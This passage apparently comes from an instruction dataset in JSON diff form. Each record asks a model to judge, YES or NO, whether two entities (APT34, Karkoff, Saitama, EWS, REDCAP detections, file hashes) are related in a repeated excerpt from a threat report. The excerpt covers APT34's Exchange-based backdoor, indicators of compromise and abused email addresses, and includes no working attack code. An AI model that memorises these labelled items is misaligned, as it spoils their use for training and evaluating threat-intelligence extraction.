Bahrain, Lebanon, and Egypt.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDevicesSrv.exe\n### Target Entity: MSIL.REDCAP.A\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256 File name Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMSIL.REDCAP.A\n### Target Entity: EWS\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256 File name Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: Middle East\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256 File name Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nKarkoff\n### Target Entity: EWS\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256 File name Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSaitama\n### Target Entity: EWS\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256 File name Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSaitama\n### Target Entity: .Net\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256 File name Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8\n### Target Entity: Karkoff\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256 File name Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e\n### Target Entity: Win64.REDCAP.AF\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256 File name Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b\n### Target Entity: MSIL.REDCAP.A\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking 